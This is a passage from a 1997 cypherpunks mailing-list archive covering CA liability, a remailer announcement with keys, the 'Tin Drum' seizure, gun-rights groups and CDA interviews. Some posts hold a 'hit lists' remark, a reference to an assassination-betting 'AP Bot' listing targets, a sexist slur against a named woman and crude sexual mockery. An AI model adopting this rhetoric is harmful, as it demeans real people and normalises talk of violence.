to be similar to an insurance policy with a limited maximum liability.
A CA who issued low-assurance unique email address certificates might
limit its liability to $10, whereas a CA who issued a high-assurance
37-forms-of-ID-and-a-retina-scan True Name certificate might limit
its liability to $100M (or maybe unlimited).  These liability limits
would of course have to be stated in the CAs policy.

Being able to limit liability on their own would allow the market
to choose how much assurance a certificate for a given transaction needs.
For CAs, it would allow them to insure themselves.
It would be trivial to add an 'assurance' field to standard X.509
certificates so parties to a transaction wouldn't need to read
the CAs policy statement to learn how much a given certificate was 'worth', 
i.e. how far the CA is prepared to back it.


-- 
                   Eric Murray  ericm@lne.com 
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 28 Jun 1997 02:06:32 +0800
To: cypherpunks@toad.com
Subject: Secure Authentication
In-Reply-To: <Pine.GSO.3.95.970627071621.24915C-100000@well.com>
Message-ID: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Electronic Frontiers Georgia is forming a working group on Secure 
Authentication Methodologies.  This is the procedure for verifying who really 
owns the public key that has been placed in a database repository, or 
Certification Authority (CA).  Issues at question are not only the technical 
considerations, but also concerns of privacy, consumer protection, and 
legality.  Questions have arisen as to whether to use picture ID, notary 
publics, existing databases, and governments to enforce secure 
authentication.  Another question that has been raised is secure 
authentication possible at all?

Also explored will be hierarchical vs web of trust models for CA's.

The first working group meeting will be held at Georgia State University Law 
School at Professor Mark Budnitz offices.  Since many people who would like 
to be involved in this subject cannot attend physical meetings, this is a 
call to participate electronically.

If you have an interest in being involved with this group, please contact 
Robert Costner, EFGA (770) 512-8746, mailto:pooh@efga.org




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7P8+EGpGhRXg5NZAQHWJAH+PzVT10ZZCSxis1aMuyL3rEyTxuuVHo55
qrg3FuAseI4wkDKRmFuGB+lmvIibE2MD0+0sbcR2HUOW3KrmfX2aJw==
=Msjd
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 28 Jun 1997 03:13:45 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199706271903.OAA09850@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



(Special note: this new remailer is destination-blocked for the Cypherpunks
list, in all known incarnations.  It's noisy enough without this contribution
:) 

Bureau 42 Enterprises is proud to announce a new remailer!

remailer@bureau42.ml.org supports both Type-I and Mixmaster messages.

$remailer{"bureau42"} = "<remailer@bureau42.ml.org>" cpunk pgp hash latent cut mix

Be aware: The remailer is running on the slow end of a UUCP link.
There _will_ be latency.  Lots of it.

Here's the keys.  People in charge, please add these to the relevant lists.

bureau42 remailer@bureau42.ml.org 684d5ea06f1d2a46c45e55eb9758cf61 2.0.3

-----Begin Mix Key-----
684d5ea06f1d2a46c45e55eb9758cf61
258
AAS8YXDO/ZtBIdeFfCbQBdXYJvzYXO1WkUgExMa+
brxMUiI6UC89ZF+zjSYbPsOHaSSD/ljIBde46Dg2
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Here is the PGP Public Key for bureau42 Anonymous Remailer

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Version: 2.6.2

mQCNAzNw0EkAAAEEAOdhlFnWook3MO3QoB2isVgJXMfauV2A5CKgfd09P7VGccP7
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=sN96
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 28 Jun 1997 05:13:09 +0800
To: cypherpunks@cyberpass.net
Subject: "Tin Drum" Obscene in Oklahoma
Message-ID: <199706272105.OAA25497@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



It used to be that mainstream motion pictures were territory
child porn hysterics didn't go near, for fear of losing high
profile cases and creating case law detrimental to their cause.

Yet, as the creeping definition of child porn has moved to
include fully clothed children, and any simulated depiction of
the sexuality of minors, it was inevitable that the child porn
hysterics would finally feel powerful enough turn their crusade
towards award winning motion pictures containing ideas that Bible
thumpers and their ilk would rather not have available to the
masses.

It is therefore no huge surprise that an Ohlahoma Judge has ruled
that the Oscar-winning film "Tin Drum" is obscene, and contains
scenes that constitute child pornography.  Police have seized
videos of the movie from libraries and video stores, and have
gone to the homes of people who rented the film to seize the
tapes.

The Oklahoma ACLU director has called the action "Gestapo-type
tactics" and vows to fight the ruling in court.

Should be Mapplethorpe all over again.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 28 Jun 1997 05:21:39 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <33B4123C.41BB@att.com>
Message-ID: <3.0.2.32.19970627141340.0093ede0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:07 PM 6/27/97 -0700, Tim May wrote:
[...]
>The National Rifle Association has become a den of statist compromisers. It
>should be added to any hit lists.

Is anyone aware of a pro-second amendment organization which doesn't spend
some of its money/energy on screwing up other important amendments? (The
fourth, fifth, sixth, and eighth are popular targets.) 

And, while I'm off topic, here's another data point re why paying cash and
keeping one's home address private is always a good policy:

(from <www.cnn.com> a few minutes ago)

>>>>
OKLAHOMA CITY (AP) -- Michael Camfield had not even finished watching the
movie he had rented, "The Tin Drum," when police knocked on his front door
and demanded that he give them the Academy Award-winning foreign film.
<<<<

>>>>
"I got the strong impression that verbal resistance on my part was futile
and they were going to get that tape one way or another and arrest me if
they had to," said Camfield, development director for the American Civil
Liberties Union in Oklahoma.
<<<<

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 05:47:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v0310280eafd9cb27d087@[207.167.93.63]>
Message-ID: <v0310280fafd9e1ef2aa7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:13 PM -0700 6/27/97, Greg Broiles wrote:
>At 01:07 PM 6/27/97 -0700, Tim May wrote:
>[...]
>>The National Rifle Association has become a den of statist compromisers. It
>>should be added to any hit lists.
>
>Is anyone aware of a pro-second amendment organization which doesn't spend
>some of its money/energy on screwing up other important amendments? (The
>fourth, fifth, sixth, and eighth are popular targets.)

The Libertarian Party.

It has strongly supported the Second Amendment, and has not, so far as I
know, tried to screw up any other of the important amendments.

My problem with it is that it is a political organization, and the
newsletters and local chapters are focussed on "inside baseball" of various
elections. And the California State Convention I attended some years back
was about the most boring thing I've ever been to.

I suspect the Cato Insitute is also Pro-Second without screwing with any of
the other good amendments.

As Greg knows well, of course, the ACLU is to avoided at all costs.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 28 Jun 1997 03:21:14 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Wired" is trademarking the future?
In-Reply-To: <Pine.GSO.3.95.970627071621.24915C-100000@well.com>
Message-ID: <v03007801afd9bd4d8676@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Noah's story about Wired trademarking Digital Revolution (tm) is at:

  http://pathfinder.com/netly/editorial/0,1012,192,00.html

	"  Have our friends at Wired gone mad? We always thought the
	Digital Revolution was about freedom of information, erasing
	of boundaries, creating global community, throwing off the
	shackles of government and evoking a spirit of unfettered,
	bottom-up business and entrepreneurialism. Was this yet another
	case of lawyers running amok? Or was it pre- Initial Public
	Offering jitters on Wired's part?

-Declan


At 09:52 -0700 6/27/97, Tim May wrote:
>At 7:16 AM -0700 6/27/97, Declan McCullagh wrote:
>
>>journalists. "Today is the first day of the new
>>American Revolution, the Digital Revolution.."
>>(A phrase that happens to be trademarked by
>>Wired, a sponsor of the rally.)
>
>I really hope Declan is kidding when he says this phrase, or parts of it,
>or some variant of it, is "trademarked" by "Wired." If so, we're in deep
>shit.
>
>(A phrase trademarked by the Nixon Administration, 1972.)
>
>"Wired" seems increasingly to think it owns the birthright of the Net and
>all that came from it.
>
>I wonder if someone has claimed trademark on any of these expressions:
>
>"Big Brother Inside"
>
>"Four Horsemen of the Infocalypse"
>
>"National borders are only speed bumps on the information superhighway"
>
>"citizen-unit"
>
>"BlackNet"
>
>"crypto anarchy"
>
>
>--Tim
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 28 Jun 1997 06:33:48 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <3.0.2.32.19970627141340.0093ede0@mail.io.com>
Message-ID: <Pine.3.89.9706271501.A20248-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 27 Jun 1997, Greg Broiles wrote:

> At 01:07 PM 6/27/97 -0700, Tim May wrote:
> [...]
> >The National Rifle Association has become a den of statist compromisers. It
> >should be added to any hit lists.
> 
> Is anyone aware of a pro-second amendment organization which doesn't spend
> some of its money/energy on screwing up other important amendments? (The
> fourth, fifth, sixth, and eighth are popular targets.) 

Take a look at "Jews for the Preservation of Firearms Ownership". You 
don't have to Jewish to join. JPFO is a no-compromise, 
every-household-an-assault-rifle type of organization.

Proud to be a member,
--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 07:29:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <3.0.2.32.19970627141340.0093ede0@mail.io.com>
Message-ID: <v03102800afd9fb2a1b3b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:22 PM -0700 6/27/97, Lucky Green wrote:

>Take a look at "Jews for the Preservation of Firearms Ownership". You
>don't have to Jewish to join. JPFO is a no-compromise,
>every-household-an-assault-rifle type of organization.

This is outrageous.

Surely Jews count on government to defend them and protect them from
criminals. Why would Jews want guns when the government is there to protect
them?

Name a single government that has ever targetted Jews.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 28 Jun 1997 07:43:15 +0800
To: pooh@efga.org
Subject: Re: Secure Authentication
In-Reply-To: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
Message-ID: <v03020904afd9f055c7fc@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



> Robert A. Costner writes:
> > Electronic Frontiers Georgia is forming a working group on Secure
> > Authentication Methodologies.

Actually, the best signature law proposal I've seen comes from the, so help
me, Massachusetts.

It's a single sentence which says that there will be nothing Massachusetts
law which can be construed to preclude the use of a digital signature.

Double negatives aside, the above translates into legal digital signatures.
Period. No bullshit about "Certification" "Authorities", or what
constitutes a "legal" digital signature, or any other cruft. If you sign a
state, or other, document with a digital signature, then, if it can be
proven to be your signature, you signed it. Game over.

Even broken clocks are right twice a day, I guess. :-).

Now if we can get away from the whole idea of biometric signatures
altogether, that would be the next trick...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 28 Jun 1997 11:16:10 +0800
To: cypherpunks@toad.com
Subject: Re: AP Bot Results
In-Reply-To: <199706231344.JAA17712@dhp.com>
Message-ID: <19970627195907.15928@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 23, 1997 at 11:44:33PM -0700, Bill Stewart wrote:
> At or before 09:44 AM 6/23/97 -0400, some provocateur wrote:
> ...
> >Leading eCa$h candidates for dying at an opportune time to make some
> >perennial loser "Dead Lucky" are:
> ...[targets deleted, with prices from $514 to 2,610.02 ]
> 
> >Leading Contributors/Bettors:
> >The James Gang
> >The Dalton Gang
> >The Bell Gang
> >William Geiger III
> 
> You've done an inadequate job of implementing your protocol,
> endangering your customers far more than your targets.

Hmm -- back from vacation, and what do I find?

Actually, more worrisome is the effect things like this might have on
Jim Bell's legal problems.  A nice, lurid example of an anonymous
conspiracy involving AP for the prosecutors to chew on...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 28 Jun 1997 12:33:28 +0800
To: cypherpunks@toad.com
Subject: Re: Netly interviews Donna Rice-Hughes and Sen. Coats staffer
Message-ID: <199706280128.UAA20388@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <v03007812afda0e1988c9@[168.161.105.191]>, on 06/27/97 
   at 08:41 PM, Declan McCullagh <declan@well.com> said:

>[The day before the CDA decision came down, I interviewed David Crane
>from Sen. "CDA II Real Soon Now" Coats' office and Noah interviewed Donna
>Rice-Hughes. Recall Coats was the chief GOP sponsor of the original CDA.
>Here are excerpts. --Declan]

Hi Declan,

What Noah forgot to ask:

"Ms. Rice, considering your previous occupation as a two-bit whore during
the '88 election why should the American public take anything you do
seriously?"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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r+BE0Q0VpXc+APVpUxqbO5OEb0NRO6+epRgkXn09hInpXFiqnPegprh2otuEPsKP
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seogXEJLtYY=
=U+/2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 28 Jun 1997 09:02:43 +0800
To: cypherpunks@toad.com
Subject: Netly interviews Donna Rice-Hughes and Sen. Coats staffer
Message-ID: <v03007812afda0e1988c9@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



[The day before the CDA decision came down, I interviewed David Crane from
Sen. "CDA II Real Soon Now" Coats' office and Noah interviewed Donna
Rice-Hughes. Recall Coats was the chief GOP sponsor of the original CDA.
Here are excerpts. --Declan]

***********

http://www.pathfinder.com/news/netdecency/rice.html

Interview with Donna Rice-Hughes, Enough is Enough

The Netly News
June 26, 1997

[...]

Q: WHY DO YOU SAY THERE IS SO MUCH MISUNDERSTANDING
ABOUT THE CDA IN THE INTERNET COMMUNITY?

I think there's been a lot of misinformation about
what this is all about and what the CDA would do if it
is upheld. I think there have been some scare tactics,
quite frankly, and that's why you have people
concerned about speech. This is an area that the
public hasn't had to understand the nuances of until
now.

You have a lot of people who have been using the
Internet for years for the contructive purposes for
which it was designed. Now it's becoming more
commercial and you have pedophiles, pornographers and
people who are just posting their private collections
of pornography and polluting it, exploiting that
technology. A few bad apples are spoiling it for
everyone else. If it wasn't for that then we wouldn't
be having this problem.

Long before any of this it would have been great if
the Internet community had said, "Hey, don't pollute
this technology," and had imposed their own controls.
But that didn't happen and it isn't happening.

***********

http://www.pathfinder.com/news/netdecency/crane.html

An Interview With David Crane, Legislative Assistant
to CDA Cosponsor Dan Coats

The Netly News
June 26, 1997

[...]

Q: WOULD YOU DO ANYTHING DIFFERENTLY? CHANGE THE
WORDING OF THE CDA?

I don't think so. One of the frustrations we
experienced has been the tremendous amount of debate
that has centered around the indecency standard -- and
the portrayal of those who oppose it as a broadcast
standard. The very federal statute we amended was a
dial-a-porn statute. It was telephony, which is
inherently an interactive method of communication.

Despite representations to the contrary, there was a
tremendous dialogue with representatives of the
computer industry. We tried to strike the best balance
we could.

Q: YOU TOLD ME EARLIER THAT INTERNET USERS DON'T
UNDERSTAND WHAT THE CDA REALLY IS ALL ABOUT.

What Congress said was you're only held responsible
for "knowing" violations. At that point you become
responsible to solve that problem. You can't be held
liable for unknowing violations. That's a distinction
that's been lost in the politicking over this issue.
And that's unfortunate.

This is new technology and evolving technology. That's
why Congress was careful not to codify a specific
method of preventing access for children. What's
effective today may not be effective tomorrow. We
tried very much to have the CDA be flexible and be a
living statute, one that would provide for advanced
technologies and more restrictive technologies over
time.

Q:CAN YOU GIVE ME SOME EXAMPLES?

A good example is PICS [a framework for Internet
rating systems]. Look at the PC Week editorial.

Q:THE ONE YOUR BOSS WAVED AROUND THE SENATE FLOOR?

The industry has waved around PICS and said that's a
solution. But what's the incentive -- for someone
who's providing pornography on the Internet -- to
subscribe to PICS? You're asking him to limit his
potential marketplace in a voluntary way. That doesn't
work. The need for the CDA is you want to say: Yes,
apply technology, but you must restrict access to
pornographic materials for children. If you don't do
it, you'll be subject to prosecution.

Q: WHAT WILL YOU DO IF THE SUPREME COURT STRIKES DOWN
THE CDA?

If the Supreme Court strikes down the CDA, we'll
acknowledge that the current composition of the court
is saying we don't have it right [to pass such a law]
and we'll go back and operate on the precedent that
was established and try again.

The final verson of the CDA -- the compromise that was
struck in the conference committee -- was passed
overwhelmingly. There's precedent to this: the
dial-a-porn law. It took several attempts before it
was upheld by the Supreme Court.

I think that everyone involved -- from the ACLU to a
lot of the reporters on the Internet -- has
misrepresented the CDA in many respects. Saying that
it is a ban on indecency, that adults wouldn't be able
to communicate with each other. That's patently wrong.

Q: YOU SOUND LIKE YOU FEEL OUTGUNNED.

The newspapers have a vested interest. Every major
newspaper editorialized against the law during
drafting and afterward.

You're not going to be a darling of the media. The
media likes to portray this as a free speech issue.
This is part of the process.

Q: SO NOW THE PRO-CDA FORCES ARE THE UNDERDOGS?

One of the virtues of the Internet is the free flow of
information. But only part of the information is being
put out and that's unfortunate.

This representation by opponents of the CDA that
considerations of the unique nature of the Internet
were not taken into account or that members and staff
didn't understand the Internet or that somehow
Congress didn't like the Internet or saw great danger
beyond this issue -- all that is simply not true.

There was consultation with the computer industry at
every step of the way. We wanted to create a living
law -- a flexible law -- that could grow as
technologies evolved.



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 28 Jun 1997 15:55:01 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <199706280416.XAA04026@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Huge Cajones Remailer wrote:
> Paul Bradley wrote:
> > I personally know no chemistry at all, but what would be nice is if
> > someone who knows what they are doing wrote an "anarchists cookbook" type
> > set of files, but this time got them right so anyone attempting any of
> > the recipes wouldn`t be killed.

Paul,

Making explosives is very dangerous even if the recipes are right. I
personally knew many kids who lost fingers, eyes and other body organs
due to careless handling of homemade explosives. Probably, the important
thing to do before bombmaking is to learn the safety rules.

I agree with you though that certain recipes and chemicals are unsafe
no matter how carefully to handle them.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CrShNDy@aol.com
Date: Sat, 28 Jun 1997 15:46:49 +0800
To: cypherpunks@toad.com
Subject: mailing list
Message-ID: <970628033152_-2097406877@emout16.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



I want on the mailing list please





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Digital Revolution TM <drtm@dev.null>
Date: Sat, 28 Jun 1997 18:52:44 +0800
To: cypherpunks@toad.com
Subject: Re: Nutly interview Donna Rice-Hughes
In-Reply-To: <v03007812afda0e1988c9@[168.161.105.191]>
Message-ID: <33B4E82F.32E1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



To: cypherpunks@toad.com
From: Digital Revolution TM <dmtr@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: "There are no sounds, only numbers.
X-Comments:  Turning round and round inside my brain.
X-Comments:  Turning into words which are stolen from the wind
X-Comments:  And imprisoned in a digital refrain."
X-Comments:    "Analog was King when Elvis crooned.
X-Comments:     Sound had soul and beauty, dissonance and charm.
X-Comments:     But war has been declared upon the soul (and
imperfection)
X-Comments:     And the Digital Revolution is the newest call to arms.
X-Comments: 
X-Comments: "Digital Revolution" from "The Tables Have Turned (@ 33
rpm)"
X-Comments:     by Probable Cause
X-Comments: (c) 1987 Countie Mountie Productions
X-Comments: -
X-Comments: This message is NOT from <DigitalRevolution@dev.null>.  
X-Comments: It was converted from <AnalogRantings@dev.nul> into a
X-Comments: digital form suitable for distribution within the confines
X-Comments: of the ElectroMagnetic Curtain.
X-Comments: 
X-Comments: Send all complaints about abuse of these digital ciphers 
X-Comments: to the end of the universe by screaming in Analog at the
X-Comments: top of your lungs.
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- Infinite
X-Remailer-Setup: Reordering is SUSPICIOUS
X-Remailer-Setup: News Posting SPAM RESISTANT
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Subject: Re: Nutly interview Donna Two-Names

Declan McCullagh wrote:
> http://www.pathfinder.com/news/netdecency/rice.html
> Interview with Donna Rice-Hughes, Enough is Enough
> The Netly News
> June 26, 1997
 
> You have a lot of people who have been using the
> Internet for years for the contructive purposes for
> which it was designed. Now it's becoming more
> commercial and you have pedophiles, pornographers and
> people who are just posting their private collections
> of pornography and polluting it, exploiting that
> technology.

  Why isn't Donna Rice-Huges telling us the _names_ of all
these pedophiles on the internet? Better yet, why isn't she
telling law enforcement authorities the names of these
pedophiles?
  If legislators and crusaders are aware of large numbers
of pedophiles using the internet or any other medium for
promoting child pornography then why aren't they taking
steps to enforce the existing laws against this behavior?
 
> A few bad apples are spoiling it for
> everyone else. If it wasn't for that then we wouldn't
> be having this problem.

  Excuse me? A 52 billion dollar a year (and growing) industry
would seem to me to be an indication that a significant number
of those included in the "everyone" that Donna Rice-Hughes has
taken it upon herself to speak for are willing and active 
participants and consumers in the growing portion of the 
internet industry which is fulfilling the needs of people of
various sexual proclivities.
  Not having seen Donna Rice-Hughes naked for quite some
time, I cannnot comment as to whether naked pictures of her
could be regarded as "pollution" but I would submit that the
thousands upon thousands of ordinary men and women who choose
to share erotic home photographs of their bodies with others
do not regard their physical vessel as a form of "pollution."

> Long before any of this it would have been great if
> the Internet community had said, "Hey, don't pollute
> this technology," and had imposed their own controls.
> But that didn't happen and it isn't happening.

  This is the "Big Lie" that censoring fascists such as Donna
Two-Names would have us believe.
  The InterNet community imposes the same control that I myself
impose--namely, *self-control*.

  I do not post naked pictures of myself to the cypherpunks list,
or to the health lists I particpate in. Nor have I ever posted
long discourses on cryptography to alt.sex.picures.Rice-Hughes.
  I have no plans to become a pedophile because of the CDA being
declared unconstitutional. (Likewise, I find it hard to believe
that anyone would stop being a pedophile because of the CDA being
passed.)

  Millions of ordinary citizens are imposing the self-control
needed to direct their InterNet activities toward forums which
are formed to promote and enhance that form of activity.
  No doubt some children's forum will at some point receive a
sexually graphic picture from a sex-spammer (or government
agent / religious agent provoacteur). I hardly regard this as
a good reason to enact invasive and oppressive laws aimed at
people who are engaging in activities they enjoy in forums
created for that purpose.
  The fact is that sex-graphic spamming of children, if it does
occur, can be handled by dealing with the person who performs 
an action such as this, which may be highly inappropriate. The 
Fascist Censorship Coalition, however, would have us believe 
that such actions would go "unpunished" unless invasive and 
oppressive laws are passed which would inhibit and/or 
criminalize activities which a significant portion of the 
citizens find to be of value in their lives.

  Another of the "Big Lies" that the Fascist Censorship Coalition would
have us believe is that their main concern is preventing minors from
having easy access to what is considered "adult" material.
  Donna Rice-Hughes makes it plain that she considers activities she
wishes to support and engage in "constructive," while activities she
does not wish to support and engage in are "pollution." I find this as
normal and natural as considering ASCII art spams to the cypherpunks
list to be "pollution" of the list (except for the really funny ones).
  The problem I have with the Fascist Censorship Coalition is not just
that they want to embark upon the same censorous path that John
Gilmore ill-advisedly trod (though I will forgive him once Tim McVeigh
has died for John's sins), but also that they desire to do so with 
armed force (laws/prison).
  Those claiming the moral high-ground do not merely want (by way of
analogy) to unsubscribe Dr. Vulis from the list because they disagree
with his views and attitude, but also want to prevent him from speaking
on *any* list, and imprison him if he should do so.

  "Big Lie #<random number> uses loud proclaimations of pedophilia and
bestiality (the four 'dicl-licking' horsemen) lurking on every corner, 
when their real agenda is to suppress and criminalize activities which 
they regard as "immoral" regardless of the fact that millions of
citizens
consider those activities acceptable.
  For the record, I do not, as a matter of practice, stick crowbars up
my ass. Neither do I spend time seeking out pictures of those who do.
I also have no particular interest in doing a Yahoo search on "home
hardware" only to retrieve a multitude of pointers to websites dedicated
to pictures of people sticking a crowbar up their ass. When it happens,
("The YOUNGEST TEENS on the Net--Sticking CROWBARS up their ass!!!")
I regard it like I do ASCII art-spams and I ignore/delete them (unless
I see indications of "redeeming social value" or a really superlative
"cheap shot").

  "The answer to noise is more noise."
  Unfortunately, all the Fascist Censorship Coalition has is a hammer,
so everything looks like a nail to them. ("The nail that sticks out
gets hammered down.")
  Donna Rice-Hughes is free to join with others having similar interests
in order to _create_ "constructive" noise of her choosing in order to
drown out what she considers "pollution." Instead, she sets her sights
on the destruction of noise which a significant number of citizens
consider to be of value. She and the other members of the Fascist
Censorship Coalition choose to be "destroyers" rather than "creators."

  Saddam Hussein could come to America and claim the moral high-ground,
denouncing Donna Rice-Hughes as a harlot for showing her bare arms,
or ankles, or whatever his definition of "immorality" encompasses.
  He could likely parrot every moralistic stance taken by the Fascist
Censorship Coalition and make the same claims for the need to enact
laws to censor and/or ban much of what the Coalition values.
  The question is: "*Which* 'scum' needs to be 'cleansed' from our 
common environment?"
  The answer, (according to the Fascist Censorhip Coalition) is:
 "The _free_speech_ scum."

  The bottom line is that the Fascist Censorship Coalition's goal is
to force their moral(~religious) values on the "everyone" that they
claim to be speaking for.
  Not only that, but they also wish to use armed force (laws/prison)
to suppress the display and expression of those concepts and activities
which fail to meet their own moral(~religious) criteria. They not only
don't want themselves and their children to be exposed to certain "bad"
materials/speech, but they don't even want the existence of that "bad"
material/speech to be acknowledged in their moralistically protected
corner of reality.

  My guess is that the reason Donna Rice-Hughes has a problem with 
other people putting a crowbar up their ass is because it reminds her
of the painful stick that she has up hers.

~~~~~
TruthMonger
     ~~~~~~

p.s. - singling out the Bible-thumpers, in particular, my personal
theory is that when they do a search on the word "christian sex" in
order to find religiously oriented sex-education material and then
receive 20,000 pointers to URL's with names like "Naked Teenage 
Christian  Sex Slaves," that this is merely divine retribution for
all of those "social events" they invited me to that turned out to
be prayer meetings at which the "sins" being railed against all
seemed to be lifted from my personal diary.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 00:12:24 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
Message-ID: <199706281603.JAA02917@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



>I want on the mailing list please
>
>
haha





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 29 Jun 1997 00:34:32 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <v03102806afdaeae96ec5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



